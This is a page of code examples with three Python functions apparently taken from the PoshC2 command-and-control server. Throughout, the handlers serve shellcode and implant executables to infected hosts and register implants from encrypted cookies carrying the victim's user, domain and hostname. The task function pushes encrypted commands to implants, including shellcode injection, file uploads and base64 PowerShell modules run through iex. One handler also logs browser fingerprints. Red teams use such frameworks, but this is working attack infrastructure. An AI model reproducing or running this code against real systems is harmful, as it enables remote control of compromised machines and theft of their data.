Esempio n. 1
0
    def do_GET(s):
        """Respond to a GET request."""
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path),
                     str(s.headers))
        new_implant_url = get_newimplanturl()
        s.cookieHeader = s.headers.get('Cookie')
        QuickCommandURI = select_item("QuickCommand", "C2Server")
        UriPath = str(s.path)
        sharpurls = get_sharpurls().split(",")
        sharplist = []
        for i in sharpurls:
            i = i.replace(" ", "")
            i = i.replace("\"", "")
            sharplist.append("/" + i)

        s.server_version = ServerHeader
        s.sys_version = ""
        if not s.cookieHeader:
            s.cookieHeader = "NONE"

        # implant gets a new task
        new_task = newTask(s.path)

        if new_task:
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(new_task)

        elif any(UriPath in s for s in sharplist):
            try:
                open("%swebserver.log" % ROOTDIR, "a").write(
                    "%s - [%s] Making GET connection to SharpSocks %s%s\r\n" %
                    (s.address_string(), s.log_date_time_string(), SocksHost,
                     UriPath))
                r = Request(
                    "%s%s" % (SocksHost, UriPath),
                    headers={
                        'Accept-Encoding':
                        'gzip',
                        'Cookie':
                        '%s' % s.cookieHeader,
                        'User-Agent':
                        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'
                    })
                res = urlopen(r)
                sharpout = res.read()
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.send_header("Connection", "close")
                s.send_header("Content-Length", len(sharpout))
                s.end_headers()
                if (len(sharpout) > 0):
                    s.wfile.write(sharpout)
            except HTTPError as e:
                s.send_response(e.code)
                s.send_header("Content-type", "text/html")
                s.send_header("Connection", "close")
                s.end_headers()
                open("%swebserver.log" % ROOTDIR, "a").write(
                    "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                    % (SocksHost, UriPath, traceback.format_exc()))
                open("%swebserver.log" % ROOTDIR,
                     "a").write("[-] SharpSocks  %s\r\n" % e)
            except Exception as e:
                open("%swebserver.log" % ROOTDIR, "a").write(
                    "[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n"
                    % (SocksHost, UriPath, traceback.format_exc()))
                open("%swebserver.log" % ROOTDIR,
                     "a").write("[-] SharpSocks  %s\r\n" % e)
                print(
                    Colours.RED +
                    "Error with SharpSocks connection - is SharpSocks running"
                    + Colours.END)

        elif ("%s_bs" % QuickCommandURI) in s.path:
            filename = "%spayload.bat" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_rg" % QuickCommandURI) in s.path:
            filename = "%srg_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%ss/86/portal" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%ss/64/portal" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%sp/86/portal" % QuickCommandURI) in s.path:
            filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%sp/64/portal" % QuickCommandURI) in s.path:
            filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_cs" % QuickCommandURI) in s.path:
            filename = "%scs_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_py" % QuickCommandURI) in s.path:
            filename = "%saes.py" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
                content = "a" + "".join("{:02x}".format(c) for c in content)
            s.send_response(200)
            s.send_header("Content-type", "text/plain")
            s.end_headers()
            s.wfile.write(bytes(content, "utf-8"))

        elif ("%s_ex86" % QuickCommandURI) in s.path:
            filename = "%sPosh32.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_ex64" % QuickCommandURI) in s.path:
            filename = "%sPosh64.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)

        # register new implant
        elif new_implant_url in s.path and s.cookieHeader.startswith(
                "SessionID"):
            implant_type = "PS"
            if s.path == ("%s?p" % new_implant_url):
                implant_type = "PS Proxy"
            if s.path == ("%s?d" % new_implant_url):
                implant_type = "PS Daisy"
            if s.path == ("%s?m" % new_implant_url):
                implant_type = "Python"
            if s.path == ("%s?d?m" % new_implant_url):
                implant_type = "Python Daisy"
            if s.path == ("%s?p?m" % new_implant_url):
                implant_type = "Python Proxy"
            if s.path == ("%s?c" % new_implant_url):
                implant_type = "C#"
            if s.path == ("%s?d?c" % new_implant_url):
                implant_type = "C# Daisy"
            if s.path == ("%s?p?c" % new_implant_url):
                implant_type = "C# Proxy"

            if implant_type.startswith("C#"):
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]
                newImplant = Implant(IPAddress, implant_type, str(Domain),
                                     str(User), str(Hostname), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.SharpCore)
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)

            elif implant_type.startswith("Python"):
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(";")
                newImplant = Implant(IPAddress, implant_type, str(Domain),
                                     str(User), str(Hostname), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.PythonCore)

                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)
            else:
                try:
                    cookieVal = (s.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                    decCookie = str(decCookie)
                    Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    IPAddress = "%s:%s" % (s.client_address[0],
                                           s.client_address[1])
                    if "\\" in str(User):
                        User = User[str(User).index('\\') + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain),
                                         str(User), str(Hostname), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    responseVal = encrypt(KEY, newImplant.PSCore)
                    s.send_response(200)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(responseVal)
                except Exception as e:
                    print("Decryption error: %s" % e)
                    traceback.print_exc()
                    s.send_response(404)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(bytes(HTTPResponse, "utf-8"))
        else:
            s.send_response(404)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            HTTPResponsePage = select_item("HTTPResponse", "C2Server")
            if HTTPResponsePage:
                s.wfile.write(bytes(HTTPResponsePage, "utf-8"))
            else:
                s.wfile.write(bytes(HTTPResponse, "utf-8"))
Esempio n. 2
0
def newTask(path):
    result = DB.get_implants_all()
    commands = ""
    if result:
        for i in result:
            RandomURI = i[1]
            EncKey = i[5]
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for a in tasks:
                    command = a[2]
                    user = a[3]
                    user_command = command
                    hostinfo = DB.get_hostinfo(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower().startswith("$shellcode64")) or (
                            command.lower().startswith("$shellcode86")
                            or command.lower().startswith(
                                "run-exe core.program core inject-shellcode")):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif (command.lower().startswith('upload-file')):
                        filepath = command.replace('upload-file', '')
                        if ";" in filepath:
                            filepath = filepath.split(";")[1].strip()
                        elif "estination" in filepath:
                            filepath = filepath.split('"')[1].strip()
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  filepath)
                            print(Colours.GREEN)
                        try:
                            source = re.search("(?<=-Base64 )\\S*",
                                               str(command))
                            filehash = hashlib.md5(base64.b64decode(
                                source[0])).hexdigest()
                        except:
                            source = re.search("(?<= )\\S*(?=;)", str(command))
                            filehash = hashlib.md5(base64.b64decode(
                                source[0])).hexdigest()
                        user_command = "Uploading file: %s with md5sum: %s" % (
                            filepath, filehash)
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, hostinfo[0], hostinfo[11],
                               hostinfo[2], hostinfo[3],
                               now.strftime("%d/%m/%Y %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            %
                            (taskIdStr, hostinfo[0], hostinfo[11], hostinfo[2],
                             hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S")))
                    try:
                        print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if a[2].startswith("loadmodule"):
                        try:
                            module_name = (a[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                    if a[2].startswith("pbind-loadmodule"):
                        try:
                            module_name = (a[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "pbind-command \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                bytes(modulestr, "utf-8")).decode('utf-8')
                            print(command)
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(a[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return default_response()
Esempio n. 3
0
    def do_GET(s):
        """Respond to a GET request."""
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path),
                     str(s.headers))
        new_implant_url = get_newimplanturl()
        s.cookieHeader = s.headers.get('Cookie')
        QuickCommandURI = select_item("QuickCommand", "C2Server")
        s.server_version = ServerHeader
        s.sys_version = ""
        if not s.cookieHeader:
            s.cookieHeader = "NONE"

        # implant gets a new task
        new_task = newTask(s.path)

        if new_task:
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(new_task)

        elif ("/_utm.gif") in s.path:
            logs = ""
            ip_address = ["From: %s" % s.address_string()]
            profiler = base64.b64decode(
                urlparse.parse_qs(
                    s.path)['/_utm.gif?utmje'][0]).split("|") + ip_address
            logs += "%s visit from: %s" % (s.log_date_time_string(),
                                           profiler[0]) + "\n"

            for profile in profiler[1::]:
                logs += "\t%s\n" % profile
            logs += "\n"

            open("%ssystem_profiler.log" % ROOTDIR, "a").write(logs)
            s.send_response(200)
            s.end_headers()
            s.wfile.write("")

        elif ("%s_js" % QuickCommandURI) in s.path:
            filename = "%sFiles/fingerprint.js" % POSHDIR
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.end_headers()
            s.wfile.write(content)

        elif (SYSTEM_PROFILER) in s.path:
            content = """<!DOCTYPE html><html><head><title></title></head><body><noscript>Please enable javascript!</noscript><script type="text/javascript" src="%s/%s_js"></script></body></html>""" % (
                HostnameIP, QuickCommandURI)
            s.send_response(200)
            s.send_header("Refresh", "0.3;%s" % SYSTEM_PROFILER_REDIRECT)
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_bs" % QuickCommandURI) in s.path:
            filename = "%spayload.bat" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_rg" % QuickCommandURI) in s.path:
            filename = "%srg_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%spotal" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%slogin" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_cs" % QuickCommandURI) in s.path:
            filename = "%scs_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_py" % QuickCommandURI) in s.path:
            filename = "%saes.py" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
                content = "a" + "".join("{:02x}".format(ord(c))
                                        for c in content)
            s.send_response(200)
            s.send_header("Content-type", "text/plain")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_ex" % QuickCommandURI) in s.path:
            filename = "%sPosh32.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_ex6" % QuickCommandURI) in s.path:
            filename = "%sPosh64.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)
        # register new implant
        elif new_implant_url in s.path and s.cookieHeader.startswith(
                "SessionID"):
            implant_type = "Normal"
            if s.path == ("%s?p" % new_implant_url):
                implant_type = "Proxy"
            if s.path == ("%s?d" % new_implant_url):
                implant_type = "Daisy"
            if s.path == ("%s?m" % new_implant_url):
                implant_type = "OSX"
            if s.path == ("%s?c" % new_implant_url):
                implant_type = "C#"
            if s.path == ("%s?p?c" % new_implant_url):
                implant_type = "C#"
            if s.path == ("%s?d?c" % new_implant_url):
                implant_type = "C#"

            if implant_type == "C#":
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
                user = User.decode("utf-8")
                if "\\" in user:
                    user = user[user.index("\\") + 1:]
                newImplant = Implant(IPAddress, implant_type,
                                     Domain.decode("utf-8"), user,
                                     Hostname.decode("utf-8"), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.SharpCore)
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)

            elif implant_type == "OSX":
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(";")
                newImplant = Implant(IPAddress, implant_type,
                                     Domain.decode("utf-8"),
                                     User.decode("utf-8"),
                                     Hostname.decode("utf-8"), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.PythonCore)

                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)
            else:
                try:
                    cookieVal = (s.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    IPAddress = "%s:%s" % (s.client_address[0],
                                           s.client_address[1])
                    user = User.decode("utf-8")
                    if "\\" in user:
                        user = user[user.index('\\') + 1:]
                    newImplant = Implant(IPAddress, implant_type,
                                         Domain.decode("utf-8"), user,
                                         Hostname.decode("utf-8"), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    responseVal = encrypt(KEY, newImplant.PSCore)

                    s.send_response(200)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(responseVal)
                except Exception as e:
                    print("Decryption error: %s" % e)
                    s.send_response(404)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(HTTPResponse)
        else:
            s.send_response(404)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            HTTPResponsePage = select_item("HTTPResponse", "C2Server")
            if HTTPResponsePage:
                s.wfile.write(HTTPResponsePage)
            else:
                s.wfile.write(HTTPResponse)